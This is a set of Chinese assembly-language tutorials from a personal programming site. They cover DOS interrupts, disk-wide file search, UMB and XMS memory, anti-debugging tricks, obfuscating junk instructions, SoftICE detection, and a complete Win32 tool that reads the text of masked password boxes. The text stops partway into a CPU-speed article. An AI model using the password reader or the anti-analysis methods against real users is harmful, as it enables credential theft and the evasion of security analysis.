mov bl,key_buff ;取扫描码到BL
xor bh,bh
mov al,key_table [bx] ;查扫描码表

cmp al,'?' ;如果为?则继续查特殊码表
jz pk1
pk0:
call prt_to_scr
ret
pk1:
mov al,key_buff ;在特殊码表内扫描
mov di,offset key_table1
mov cx,offset key_table1_end-offset key_table1
repnz scasb
jnz pk0

dec di
sub di,offset key_table1 ;取出说明字符串地址
mov si,di
shl si,1
add si,offset key_table1_end
mov si,[si]
call printf ;显示到屏幕

ret

PRINT_KEY ENDP

;新的 INT 09H 键盘中断程序
int9:
pushf
pusha
push ds
push es

push cs
pop ds
push cs
pop es

in al,60h ;读入扫描码
mov key_buff,al

test al,80h ;如果>80H则为放开一个键
jnz int9_quit

or al,80h
mov key_buff1,al

mov si,offset d_mes1
call printf
call print_key
mov si,offset d_mes2
call printf
int9_quit:
pop es
pop ds
popa
popf

DB 0EAH
OFF9 DW ?
SEG9 DW ?

install:
mov ah,9 ;显示版权信息
mov dx,offset d_copyright
int 21h

mov ax,3509h ;保留INT 09H的中断向量
int 21h
mov off9,bx
mov seg9,es
mov ax,2509h ;把INT 09H指到 offset int9
mov dx,offset int9
int 21h
push cs
pop es
lop:
mov ah,10h ;扩展键盘输入
int 16h

mov aah,ah ;显示键盘输入的编码
mov aal,al
mov si,offset d_mes3
call printf

cmp key_buff,1 ;如果非按下Esc，继续循环
jnz lop

lds dx,dword ptr off9 ;恢复INT 09H中断向量
mov ax,2509h
int 21h

push cs
pop ds

mov ah,9
mov dx,offset d_mes4
int 21h

int 20h

INCLUDE PRINTF.ASM ;一个公用的显示子程序

CODE ENDS
END START

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


How to scan disk

全盘搜索程序

概述：

不知你编过全盘搜索程序没有，本程序用在消毒程序以及其他需要主动搜索磁盘上所有文件的地方，由于以前我自己的注释都是英文的，所以这次简单加上了一些中文。
本程序要用到的 DOS 中断很少，仅为 4EH 和 4FH，功能是查找第一个匹配文件名和继续查找，编程难点是要用到类似于堆栈的数据结构，把找到的子目录名暂时存起来，等当前目录找完后在取出来，然后继续查找下一个目录，我用的方法是开一个缓冲区，定义一个指针，用来指向缓冲区结束的地方。用的是先进先出方式，为了节省空间，每个目录项长度不等长，由每项的前 2 个字节来指向前面一条目录项。具体见源程序。
本程序要用到的 INT 21H 的 4EH 和 4FH 功能如下：

功能号 | 入口参数 | 出口参数
AH = 4EH 查找第一个匹配文件项 | CX = 文件属性 | 标志 CF 复位 = 成功 找到文件名在 DTA 内 缺省 DTA 在PSP：0080H 处
 | DS:DX = 要查找的文件名 ASC 字符串 | 标志 CF 置位 = 出错
AH = 4FH 查找下一个匹配文件项 |  | 标志 CF 复位 = 成功 找到文件名在 DTA 内 缺省 DTA 在 PSP：0080H 处
 |  | 标志 CF 置位 = 出错

DTA 的内容如下：

偏移量 | 长度 | 含义
15H | 字节 | 找到文件的属性
16H | 字 | 文件时间 位11-15：小时 位5-10：分 位0-4：秒/2
18H | 字 | 文件日期 位9-15：年-1980 位8-5：月 位0-4：日
1AH | 双字 | 文件大小
1EH | 13字节 | ASC II 文件名+扩展名

源程序：

;Copyright by LuoYunBin
;http://asm.yeah.net

.286p

CODE		SEGMENT
        ASSUME	CS:CODE,DS:CODE
        ORG	100H
START:
        jmp	install
install:
        call	get_com_line	;处理命令行
        call	scan_disk	;全盘查找子程序
        mov	ah,4ch
        int	21h

;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
;
;	search the hole diskette files
;	programmed by LYB
;	include following procedures
;		scan_disk: scan disk and get all filename
;	-----------------------------------------
;	enter 	ds:si = scan drive or path name
;	return 	FIND_FILE = found file name
;		SD_ATTR	= file attribute
;	use	DO_FILE process to file operation
;	the 	data in sd_buffer is like this
;		addr1:	word -1, + path string
;		addr2:	word addr1, + path string
;		addr3:	word addr2, + path string
;		...
;		PATH_SP point to last address
SCAN_DISK	PROC	NEAR
        jmp	scan_start
;	data for do_file process
SD_ATTR		DW	?		;要找的文件属性
FIND_FILE	DB	128 DUP (0)	;找到的文件名
;	data use scan_disk itself
path_ep		dw	?		;目录名缓冲区指针
path_sp		dw	path_buffer	;path buffer stack point
finding_file	db	8 dup (0)
finding_ext	db	3 dup (0)
temp_file	db	8 dup (0)
temp_ext	db	3 dup (0)
scan_start:
        push	cs
        pop	ds
        push	cs
        pop	es			;set ds,es = cs
        mov	si,80h
        call	phase_name		;phase file name
        mov	si,path_sp
sd_lop:
        inc	si
        inc	si
        mov	di,offset find_file
        cld
        call	move_byte
        dec	di
        cmp	byte ptr ds:[di-1],'\'	;path as N:\
        jz	sd1
        mov	al,'\'
        stosb
sd1:
        mov	path_ep,di		;path end point
        mov	ax,'.*'
        stosw				;add *.*
        mov	al,'*'
        stosb
        xor	al,al
        stosb
        mov	ah,4eh
        mov	dx,offset find_file	;找第一个文件
        mov	cx,37h			;找所有文件属性包括子目录
        int	21h
        jb	sd_lop2_end
sd_lop2:
        call	pros_dir		;处理目录项
        mov	ah,4fh			;找下一个文件
        int	21h
        jnb	sd_lop2
sd_lop2_end:
        mov	si,path_sp		;检查目录缓冲区
        cmp	si,offset path_buffer	;如果还有目录要找，则继续
        jnz	sd_new_dir
        ret
sd_new_dir:
        mov	di,[si]			;从缓冲区中取出新目录
        mov	path_sp,di
        jmp	sd_lop
PROS_DIR	PROC
        mov	si,80h			;80H 为 DTA 地址
        xor	ah,ah
        mov	al,ds:[si+0015h]
        mov	sd_attr,ax		;找到的文件属性
        add	si,1eh
        push	si
        mov	di,path_ep		;把文件名加到路径上
        call	move_byte
        pop	si
        test	sd_attr,10h		;是否为子目录
        jnz	pd_is_dir
        call	check_find
        jnz	pd_ret
        call	do_file			;对找到的文件进行处理
;本程序的处理程序仅为打印文件名，实际应用中，如果是用于消毒程序，可以
;在 DO_FILE 子程序中对文件进行检查

pd_ret:
        ret
pd_is_dir:
        cmp	byte ptr ds:[si],'.'	;是 . 或 .. 则忽略
        jz	pd_ret
        mov	di,path_sp		;如果找到新目录
        push	di			;则把它加入目录名缓冲区
        inc	di
        inc	di
        mov	cx,-1
        xor	al,al
        repnz	scasb			;find string end
        pop	[di]			;fill new address
        mov	path_sp,di		;point to previous address
        inc	di
        inc	di			;add path string
        mov	si,offset find_file
        call	move_byte
        ret
PROS_DIR	ENDP
MOVE_BYTE	PROC
        lodsb
        or	al,al
        jz	mb_ret
        stosb
        jmp	short move_byte
mb_ret:
        stosb
        ret
MOVE_BYTE	ENDP
;=================================================
;	check file name in DTA if match
;	the searching file name
;本子程序的作用是，如果命令行指定查找特定文件
;则比较是否找到，如命令行输入找 *.EXE 那么
;就是在这儿比较
;=================================================
CHECK_FIND	PROC
        mov	di,offset temp_file
        mov	cx,11
        xor	al,al
        cld
        rep	stosb
        mov	si,80h+1eh
        mov	di,offset temp_file
cf_lop1:
        lodsb
        or	al,al
        jz	cf_lop2_end
        cmp	al,'.'
        jz	cf_lop1_end
        stosb
        jmp	short cf_lop1
cf_lop1_end:
        mov	di,offset temp_ext
cf_lop2:
        lodsb
        or	al,al
        jz	cf_lop2_end
        stosb
        jmp	short cf_lop2
cf_lop2_end:
        mov	si,offset temp_file
        mov	di,offset finding_file
        mov	cx,11
cf_lop3:
        lodsb
        mov	ah,[di]
        inc	di
        cmp	ah,'?'
        jz	cf_match	;char match
        cmp	ah,al
        jz	cf_match	;char match
cf_end:
        ret
cf_match:
        loop	cf_lop3
        ret
CHECK_FIND	ENDP
;	get .ext and name and path name from com_line
;	input data in DS:SI
;	output scan file name in ES:DI
; 对要找的文件字符串进行预处理，分离路径和文件名
PHASE_NAME	PROC
        mov	di,offset find_file
        mov	bp,di
        xor	ax,ax
        mov	cx,128
        cld
        rep	stosb
        mov	di,bp
        dec	bp			;bp point to find_file-1
pn_lop:
        lodsb
        stosb
        or	al,al
        jz	pn_lop_end
        cmp	al,'?'
        jz	pn_wild
        cmp	al,'*'
        jz	pn_wild
        cmp	al,'\'			;path end point
        jz	pn_para
        cmp	al,':'
        jnz	pn_lop
        cmp	byte ptr [si],'\'
        jz	pn_lop
        mov	al,'\'
        stosb
pn_para:
        mov	bp,di			;save path end
        dec	bp
        jmp	short pn_lop
pn_wild:
        mov	ah,1			;set wild char flag
        jmp	short pn_lop
pn_lop_end:
        or	ah,ah			;=1, then has wild char
        jnz	pn_spar
        mov	ah,4eh
        mov	cx,37h
        mov	dx,offset find_file	;check if is dir
        int	21h
        jb	pn_spar			;sparater path and file name
        test	byte ptr ds:[80h+15h],10h
        jz	pn_spar			;if not dir
        mov	bp,di			;is dir
        dec	bp
        mov	ax,'.*'
        stosw
        mov	al,'*'
        stosb
        xor	al,al
        stosb
pn_spar:
        cmp	bp,offset find_file-1
        jz	pn_spar1

        mov	byte ptr ds:[bp],0
        mov	si,offset find_file
        mov	di,offset path_buffer+2
        call	move_byte
pn_spar1:
        inc	bp
        mov	si,bp
        mov	di,offset finding_file
        mov	cx,8
pn_lop1:
        lodsb				;get filename
        cmp	al,'.'
        jz	pn_lop2_1
        or	al,al
        jz	pn_lop3_end
        cmp	al,'*'
        jz	pn_lop1_store
        stosb
        loop	pn_lop1
        jmp	short pn_lop2
pn_lop1_store:
        mov	al,'?'
        rep	stosb
pn_lop2:
        lodsb
pn_lop2_1:
        or	al,al
        jz	pn_lop3_end
        cmp	al,'.'
        jnz	pn_lop2
        mov	di,offset finding_ext
        mov	cx,3
pn_lop3:
        lodsb				;get ext name
        or	al,al
        jz	pn_lop3_end
        cmp	al,'*'
        jz	pn_lop3_store
        stosb
        loop	pn_lop3
        jmp	short pn_lop3_end
pn_lop3_store:
        mov	al,'?'
        rep	stosb
pn_lop3_end:
        mov	al,'?'
        cmp	finding_file,0
        jnz	pn1
        mov	di,offset finding_file
        mov	cx,8
        rep	stosb
pn1:
        cmp	finding_ext,0
        jnz	pn2
        mov	di,offset finding_ext
        mov	cx,3
        rep	stosb
pn2:
        ret
PHASE_NAME	ENDP
SCAN_DISK	ENDP
do_file		proc
        mov	si,offset d_searching
        call	printf
        ret
do_file		endp
d_searching	db	'Searching file: %c%79t',0dh,0
        dw	find_file
GET_COM_LINE	PROC
;	get command line file name
;	to CL_FILE and return CY when no command line
;	return NC when has command line
;	the sub change lower letter to upper letter
; 命令行处理子程序
        mov	si,81h
        mov	di,80h
        cld
cmd_lop:
        lodsb
        cmp	al,0dh
        jz	cmd_lop_end
        cmp	al,' '
        jbe	cmd_lop	;如果是小写字母
        cmp	al,'a'		;则转换到大写
        jb	stos_it	;因为大小写字母 ASC 码值刚好差 20H
        cmp	al,'z'	;所以把 ASC 码减 20H 就换到大写了
        ja	stos_it
        sub	al,20h		;convert to upper case
stos_it:
        stosb
        jmp	short cmd_lop
cmd_lop_end:
        xor	al,al
        stosb
        ret
GET_COM_LINE	ENDP
include		printf.asm	;一个公用的显示程序
FILE_END	EQU	THIS BYTE
path_buffer	db	1000h dup (0)	;path buffer
CODE		ENDS
        END	START

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


Using UMB

使用DOS的UMB

概述：

 在编制内存驻留程序时，为了少占用常规内存，往往要将程序加载到 UMB 中，本文讲述如何检测及使用UMB 内存。
要分配 UMB 内存，需要先设置 DOS 的内存分配策略，使 DOS 分配内存时从高到低寻找，再设置 UMB 链的状态，将 UMB 内存加入 DOS 内存链，如果 UMB 内存存在的话，设置完毕后用普通的分配内存功能INT 21H 的 48H， 分配到的就是 UMB 内存，但要注意的是在分配内存完毕后必须将内存分配策略复原。在分配到 UMB 内存后，需要将执行程序移动到 UMB 中，再释放原来的常规内存。

有关的中断资料：

1.DOS 中断 21H 的 58H 入口参数： AH = 58H, AL = 子功能

功能号 | 入口参数 | 出口参数
AL=00H 取分配策略 |  | AX = 当前策略
 |  | AX=00H 低内存最先符合
 |  | AX=01H 低内存最佳符合
 |  | AX=02H 低内存最后符合
 |  | AX=40H 高内存最先符合
 |  | AX=41H 高内存最佳符合
 |  | AX=42H 高内存最后符合
AL = 01H 设置分配策略 | BL = 新策略 (见上AX) |
AL = 02H 取UMB链状态 |  | AL=00H UMB不是DOS内存链的一部分
 |  | AL=01H UMB是DOS 内存链的一部分
AL = 03H设置UMB链的状态 | BX=00H 从DOS内存链中移出UMB |
 | BX=01H 将UMB加入DOS内存链

汇编编程示例：

;=========== Check if has free umb =======
; input: BP = memory block needed
; output: CY = no free umb
; NC = has free umb
; AX = umb segment

ALLOC_UMB PROC

mov ax,5800h ;取内存分配策略
int 21h
push ax
mov ax,5802h ;取UMB状态
int 21h
xor ah,ah
push ax

mov ax,5801h ;设置内存分配策略
mov bx,41h ;UMB best fit
int 21h
mov ax,5803h ;设置UMB状态
mov bx,1
int 21h

mov ah,48h ;分配内存
mov bx,bp
int 21h
mov si,ax

mov ax,5803h ;恢复UMB状态
pop bx
int 21h
mov ax,5801h ;恢复内存分配策略
pop bx
int 21h

mov ax,si ;如果分配到的内存段地址
cmp ax,0a000h ;小于A000，说明无UMB
jb au_err ;分配到的是常规内存
clc
ret
au_err:
stc
ret

ALLOC_UMB ENDP

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


Using XMS in DOS program

DOS程序使用XMS

概述：
作为常规内存的扩充，XMS（即扩充内存）的应用很广泛，它主要用于程序的数据存储空间，使用XMS时，需要在常规内存中开一个缓冲区，然后用移动内存块的方法进行数据交换。
XMS 内存的存取是通过 XMS 驱动程序进行的，存取 XMS 前，必须先检测 XMS 驱动程序是否存在，然后获取驱动程序地址，通过远调用来使用它。检测 XMS 及获取驱动程序地址通过 INT 2FH 的 4300H 和 4310H 功能来进行的，一旦成功后，所有对 XMS 的操作都是先在 AH 内设置功能码，然后通过对驱动程序进行 CALL FAR 来完成。在调用时需要在内存中先定义一个 EMM 结构，里面包括移动的字节数，XMS内存的句柄等要用到的参数。

有关资料：

1.DOS 中断 2FH 的 4300H 及 4310H 功能

功能号 | 入口参数 | 出口参数
AX=4300H XMS安装检测 |  | AL=80H 已安装XMS
 |  | AL<>80H XMS未安装
AX=4310H 取驱动程序地址 |  | ES:BX=驱动程序入口地址

2.远调用 XMS 驱动程序的功能表

功能号 | 入口参数 | 出口参数
AH=09H 分配XMS内存 | DX=所需的KB | AX=0001H 成功 则DX=XMS 内存句柄
 |  | AX=0000H 失败
AH=0AH 释放XMS内存 | DX=XMS句柄 | AX=0001H 成功
 |  | AX=0000H 失败
AH=0BH 移动XMS内存 | DS:SI指向EMM结构 | AX=0001H 成功
 |  | AX=0000H 失败

3.EMM 结构的格式

偏移量 | 大小 | 说明
00H | Double word | 要移动的字节数（必须是偶数）
04H | Word | 源句柄（0 表示常规内存）
06H | Double word | 源块中的偏移量
0AH | Word | 目的句柄（0 表示常规内存）
0CH | Double word | 目的块中的偏移量

汇编编程示例：

;定义 EMM 结构

EMM DW 0,0 ;double word -- how many bytes to move
DW 0 ;word -- source handle
DW 0,0 ;double word -- source offset & segment
DW 0 ;word -- target handle
DW 0,0 ;double word -- target offset & segment
OFFXMS DW 0 ;XMS驱动程序的入口地址
SEGXMS DW 0

HANDLE_XMS DW 0 ;申请到的XMS句柄

;以下程序检测及申请XMS内存

mov ax,4300h ;检测有无XMS
int 2fh
cmp al,80h
jnz no_xms

mov ax,4310h ;保存XMS驱动程序地址
int 2fh
mov offxms,bx
mov segxms,es

mov ah,9 ;分配XMS内存
mov dx,100 ;分配100KB
call dword ptr offxms
or ax,ax
jz no_more_xms ;AX=0 则分配失败

mov xms_handle,dx

;以下程序将内存A000:0000处的64K字节移到XMS块中

mov emm,0
mov emm+2,1 ;10000H为64K
mov emm+4,0 ;source handle = 普通内存
mov emm+6,0 ;源地址A000:0000
mov emm+8,0a000h
mov bx,xms_handle
mov emm+0ah,bx ;targat handle = XMS
mov emm+0ch,0 ;移动到XMS的起始地址
mov emm+0eh,0
mov si,offset emm
mov ah,0bh
call dword ptr offxms

;以下程序将XMS块中的64K字节移到内存A000:0000处

mov emm,0
mov emm+2,1 ;bytes = 10000H (64K)
mov bx,xms_handle
mov emm+4,bx ;source handle
mov emm+6,0 ;source offset
mov emm+8,0
mov emm+0ah,0 ;target handle 0 for MEM
mov emm+0ch,0 ;target offset
mov emm+0eh,0a000h
mov si,offset emm
mov ah,0bh
call dword ptr offxms

;以下程序释放XMS内存

mov ah,0ah ;free XMS memory
mov dx,cs:xms_handle
call dword ptr cs:offxms

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


Using clock to anti-debug

用时间差反跟踪

概述：

如果关掉中断，不仅仅是键盘不动了，时钟也不会走，所以可以利用时间差来反跟踪，具体方法是：先关掉中断, 再用当前时间作 key 加密，在执行一大堆指令后，偷偷地再用当前时间解密, 如果为了解密跳过关中断指令, 时间就会变化, 解密结果就会不对，然后...当然是死机啦 !

汇编编程示例：

code segment
assume cs:code,ds:code
org 100h
start:
jmp install

d1 db 'OK, passed ...',0dh,0ah,24h

install:
xor ax,ax
mov es,ax
mov ax,es:[046ch] ;系统时间计数
xor word ptr _code,ax ;把 _CODE 处的指令加密

mov ah,0ffh
in al,21h
xchg ah,al
out 21h,al ;关掉中断，并保存原中断开关情况到 AH

mov cx,100 ;这儿是延时语句，模拟其他程序的执行时间
lop1:
push cx
xor cx,cx
lop2:
loop lop2
pop cx
loop lop1

mov bx,es:[046ch] ;再把时间取回来解密
xor word ptr _code,bx
xchg ah,al ;记得把中断复原
out 21h,al
_code:
nop
nop
mov ah,9
mov dx,offset d1
int 21h
int 20h

code ends
end start

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


Anti-debug

用指令预取反跟踪

概述：

CPU 的执行时并不是执行到哪一句再到内存中去取那一句，而是先读入到 CPU 的 Cache 中，如果指令已经到了 Cache 中，再将它修改也没有用了，如果用跟踪程序的话，CPU 的 Cache 中就不会是跟正常执行时的指令相同，所以可以改动下几条指令，当然是故意改错，如果没有跟踪，程序还回照常执行，有跟踪的话，那就...

汇编编程示例：

code segment
assume cs:code,ds:code
org 100h
start:
jmp install

d1 db 'OK, passed ...',0dh,0ah,24h

install:
mov word ptr _code,20cdh
_code:
nop ;如果跟踪一下，就会发现下一条指令是 INT 20H,返回 DOS 了
nop

mov si,offset _code1
mov di,si
cld
mov ax,20cdh
stosw
lodsw
_code1:
nop
nop

mov ah,9 ;now ax=20cdh
mov dx,offset d1
int 21h
int 20h

code ends
end start

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


Coding program

"花指令"加密法

概述：

用‘花指令’来进行静态加密是很有效的，这会使解密者无法一眼看到全部指令，杜绝了先把程序打印下来再慢慢分析的做法。我们知道，一条指令的长度是不等长的，假使有一条指令为 3 字节长，然后你从它的第二个字节开始反汇编，你照样会看到一条面目全非的指令，‘花指令’就是在指令流中插入很多‘垃圾’，使静态反汇编无法进行，如何实现你把以下程序编译出来用 Debug 的 U 指令看一下，跟踪一下就能理解了。

汇编编程示例：

XX1 MACRO
local _next1
jmp short _next1
db 0e8h
_next1:
ENDM
;--------------------------------------
XX2 MACRO
local _next2
jmp short _next2
db 0e9h
_next2:
ENDM
;--------------------------------------
XX3 MACRO
local _next3
jmp short _next3
db 09ah
db 0e8h
_next3:
ENDM
;--------------------------------------
XX4 MACRO
local _next4
jmp short _next4
db 09ah
db 0e8h
_next4:
ENDM
;--------------------------------------
.286
CODE SEGMENT
ASSUME CS:CODE,DS:CODE
ORG 100H
start:
db 20 dup (90h)

xx3
mov ax,0201h
xx3
mov bx,0200h
xx3
mov cx,0001h
xx3
mov dx,0080h
xx2
int 13h
xx2
int 20h

CODE ENDS
END START

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


Coding program

指令动态执行加密法

概述：

这儿讲述的是用单条指令加密法，再用 int 1 单步中断解下一条指令的第一字节，由于用另外程序解密时无法预知指令长, 所以不能用编程的方法解密，只能用手工一条一条地解。具体实现见注释，这种加密法的麻烦只处就是加密时也要一句一句来。

汇编编程示例：

code segment
assume cs:code,ds:code
org 100h
start:
jmp install

d_ok db 'OK, passed...',0dh,0ah,24h

temp_bx dw ?
off1 dw ?
seg1 dw ?

int1:
mov temp_bx,bx ;save bx
mov bx,sp ;BX=SP=0016h
mov bx,ss:[bx]
xor byte ptr ds:[bx],55h ;decode
mov bx,temp_bx
iret

install:
mov ax,3501h ;保存原 INT 1 中断向量
int 21h
mov off1,bx ;设置新 INT 1 到 offset int1
mov seg1,es
mov ax,2501h
mov dx,offset int1
int 21h

xor byte ptr x1,55h ;这些指令是先把以下
xor byte ptr x2,55h ;的一些指令加密
xor byte ptr x3,55h ;当然，在应用时就不会有这些指令了
xor byte ptr x4,55h
xor byte ptr x5,55h
xor byte ptr x6,55h
xor byte ptr x7,55h
xor byte ptr x8,55h
xor byte ptr x9,55h

pushf
pop ax
or ax,0100h
push ax
popf ;打开单步跟踪

nop ;由于单步跟踪要在执行下一条指令后才激活
x1: ;所以这儿是一条 NOP 指令
mov ah,9
x2:
mov dx,offset d_ok
x3:
int 21h
x4:
pushf
x5:
pop ax ;从 X1 到 X9 的指令要在
x6:
and ax,0feffh ;执行中才由 INT 1 逐句解开
x7:
push ax
x8:
popf
x9:
nop

mov ax,2501h ;把 INT 1 复原
lds dx,dword ptr off1
int 21h

int 20h

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


Detecting Soft-ICE in memory

检测内存中的 Soft-Ice

概述：

有 Soft-ICE 在内存中可不大好玩，以下指令是检测 Soft-ICE 的，不要问为什么，这些都是 Soft-ICE 自己检测自己用的。

汇编编程示例：

code segment
assume cs:code,ds:code
org 100h
start:
mov ax,0911h ;exit command
mov dx,offset d_exit
mov si,4647h
mov di,4a4dh
int 3

xor ax,ax ;check s-ice
mov si,4746h
mov di,4a4dh
int 3
cmp si,4647h
jz found_sice

xor ax,ax ;check s-ice
mov si,4647h
mov di,4a4dh
int 3
cmp si,4647h
jnz found_sice

mov ah,9
mov dx,offset d_ok
int 21h
int 20h
found_sice:
mov ah,9
mov dx,offset d_sice
int 21h
int 20h

d_ok db 'OK, passed...',0dh,0ah,24h
d_sice db 'I found S-ICE in memory, so Bye-bye !',0dh,0ah,24h
d_exit db 'exit',0dh,0

code ends
end start

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


Detecting Soft-ICE in memory

检测内存中的 Soft-Ice

概述：

检测内存中的 Soft-Ice 又一法，不过这次用的是在全部内存搜索 Soft-Ice 的特征码来实现的。

汇编编程示例：

; 加密方法: 检测 s-ice
; 用 scas,cmps 等指令, s-ice 无法用
; bpm 等断点检测到, 因此可用比较关键字
; 来检测 s-ice 是否在内存中

code segment
assume cs:code,ds:code
org 100h
start:
jmp install

DATA_SICE DB 67h,66h,8bh,06h,0fh,22h,0d8h,26h,67h,66h
DB 8bh,46h,04h,66h,26h,67h,0fh,01h,10h
DATA_SICE_END EQU THIS BYTE

d_ok db 'OK, passed...',0dh,0ah,24h
d_ice db 'Has Soft-Ice in memory',0dh,0ah,24h

install:
mov si,offset data_sice
mov dx,cs
mov al,26h
xor bp,bp
cld
res1:
mov es,bp
mov cx,100h
xor di,di
res2:
repnz scasb
jnz cts_2
push cx
push si
push di
mov cx,offset data_sice_end-offset data_sice
repz cmpsb
jz has_sice
pop di
pop si
pop cx
jmp short res2
cts_2:
add bp,10h
cmp bp,dx
jb res1

mov ah,9
mov dx,offset d_ok
int 21h
int 20h
has_sice:
mov ah,9
mov dx,offset d_ice
int 21h
int 20h

code ends
end start

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


拾取密码框中的密码

概述：

其实早有所闻 Windows 的马虎，Windows打星号的密码框中的密码实际上是很容易得到的，我以前看到过的资料说是检索屏幕上的窗口，找到有 ES_PASSWORD 风格的就向它发送取消 ES_PASSWORD 的消息，然后刷新它，密码就在原来的地方显示出来了，这儿还有另一个办法，就是找到密码框，直接取得中间的文本，这里是本文中的所有的源程序。
程序的结构如下： 初始化的时候设置一个定时器，定时时间为0.1秒，然后在定时器消息中利用 GetCursorPos 取得当前鼠标的位置，再利用 WindowFromPoint 取得该位置的窗口句柄，如果成功的话，利用 GetWindowLong 取得窗口的风格，如果窗口有 ES_PASSWORD 风格的话，那么这肯定是个密码框，然后我们向它发送 WM_GETTEXT 消息取得中间的文本就万事大吉了，简单吗？下面是源程序，结合上面的介绍是很好懂的。
最后，如果你的163密码泄密了可不是我的错喔！ :-)

源程序：

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	Programmed by 罗云彬, bigluo@telekbird.com.cn
;	Website: http://asm.yeah.net
;	LuoYunBin's Win32 ASM page (罗云彬的编程乐园)
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	版本信息
;	密码查看器 - 可以查看 ES_PASSWORD 风格的编辑框中的密码
;	   V1.0 ------	2000年6月18日
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

        .386
        .model flat, stdcall
        option casemap :none   ; case sensitive

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	Include 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

include		windows.inc
include		user32.inc
include		kernel32.inc
include		comctl32.inc
include		comdlg32.inc

includelib	user32.lib
includelib	kernel32.lib
includelib	comctl32.lib
includelib	comdlg32.lib

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	Equ 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

DLG_MAIN	equ		1000
ID_PWD		equ		1001

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

        .data?

hInstance	dd	?
szBuffer	db	256 dup	(?)

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	子程序声明
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProcDlgMain	PROTO	:DWORD,:DWORD,:DWORD,:DWORD

        .data

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

        .code

include		Win.asm

;********************************************************************
_ProcDlgMain	proc	uses ebx edi esi, \
        hWnd:DWORD,wMsg:DWORD,wParam:DWORD,lParam:DWORD
        local	@stPoint:POINT
        local	@hWindow

        mov	eax,wMsg
        .if	eax == WM_CLOSE
            invoke	EndDialog,hWnd,NULL
            invoke	KillTimer,hWnd,1
        .elseif	eax == WM_INITDIALOG
            invoke	_CenterWindow,hWnd
            invoke	SendDlgItemMessage,hWnd,ID_PWD,EM_SETREADONLY,TRUE,NULL
            invoke	SetWindowPos,hWnd,HWND_TOPMOST,0,0,0,0,\
                SWP_NOMOVE or SWP_NOSIZE
            invoke	SetTimer,hWnd,1,100,NULL
        .elseif	eax == WM_TIMER
            invoke	GetCursorPos,addr @stPoint
            invoke	WindowFromPoint,@stPoint.x,@stPoint.y
            mov	@hWindow,eax
            .if	eax !=	NULL
                invoke GetWindowLong,@hWindow,GWL_STYLE
                .if (eax & ES_PASSWORD)
                    invoke	SendMessage,@hWindow,WM_GETTEXT,255,offset szBuffer
                    invoke	SetDlgItemText,hWnd,ID_PWD,offset szBuffer
                .endif
            .endif
        .else
;********************************************************************
;	注意：对话框的消息处理后，要返回 TRUE,对没有处理的消息
;	要返回 FALSE
;********************************************************************
            mov	eax,FALSE
            ret
        .endif
        mov	eax,TRUE
        ret

_ProcDlgMain	endp
;********************************************************************
start:
        invoke	GetModuleHandle,NULL
        mov	hInstance,eax
        invoke	DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _ProcDlgMain,0
        invoke	ExitProcess,NULL

        end	start

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


如何检测CPU的主频

概述：

说到检测CPU的速度，一般是测试在单位时间内运算的指令条数，但用这种方法有太大的局限性，由于受到很多因素的影响，准确度比较低，特别是在Windows环境下，你不知道在你的程序外别的程序占用了多少的时间片。其实，在586及以上档次处理器中，已经有了一条专用的指令来测试主频，那就是 RDTSC指令，意思是读取时间标记计数器(Read Time-Stamp Counter)，Time-stamp counter 是处理器内部的一个64位的MSR (model specific register)，它每个时钟增加一个记数。在处理器复位的时候，初始值为0，RDTSC 指令把 TSC的值低32位装入EAX中，高32位装入EDX中。如果CPU的主频是200MHz，那么在一秒钟内，TSC的值增加 200,000,000 次。所以在计算的时候，把两次的TSC差值除以两次的时间差值就是CPU的主频。
程序的结构如下： 初始化的时候设置一个定时器，定时时间为1秒，然后在定时器消息中利用 RDTSC 取得 TSC计数，再和上次保留的值相减，然后除以时间差即可。
这里是本文中的所有的源程序。

源程序：

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	Programmed by 罗云彬, bigluo@telekbird.com.cn
;	Website: http://asm.yeah.net
